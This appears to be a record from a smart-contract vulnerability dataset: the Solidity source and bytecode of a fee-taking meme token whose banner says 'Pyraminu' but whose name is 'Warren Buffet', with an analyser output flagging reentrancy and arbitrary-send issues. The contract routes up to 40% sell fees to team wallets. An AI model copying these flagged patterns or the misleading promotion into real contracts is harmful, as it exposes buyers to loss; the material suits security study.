f6e6c79000000000000000000000000000000600082015250565b613da381613851565b8114613dae57600080fd5b50565b613dba81613863565b8114613dc557600080fd5b50565b613dd18161388f565b8114613ddc57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122038d76c20c802c5740802c3b1177f35a5dccb596295372b8e60338a78097e1a9964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,611 |
0x5e657de6483b3e96eb56596c748c6a8c9840d23c
|
/**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-18
*/
/**
* .______ ____ ____ .______ ___ .___ ___. __ .__ __. __ __
* | _ \ \ \ / / | _ \ / \ | \/ | | | | \ | | | | | |
* | |_) | \ \/ / | |_) | / ^ \ | \ / | | | | \| | | | | |
* | ___/ \_ _/ | / / /_\ \ | |\/| | | | | . ` | | | | |
* | | | | | |\ \----./ _____ \ | | | | | | | |\ | | `--' |
* | _| |__| | _| `._____/__/ \__\ |__| |__| |__| |__| \__| \______/
*
* Pyraminu
* https://t.me/Pyraminu
* pyraminu.com
*
* Pyraminu is a meme token with a twist!
* Pyraminu has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PYRAMINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Warren Buffet";
string private constant _symbol = unicode"BUFFET";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(8)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 8;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600d81526020017f57617272656e2042756666657400000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4255464645540000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60026009819055506008600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be91906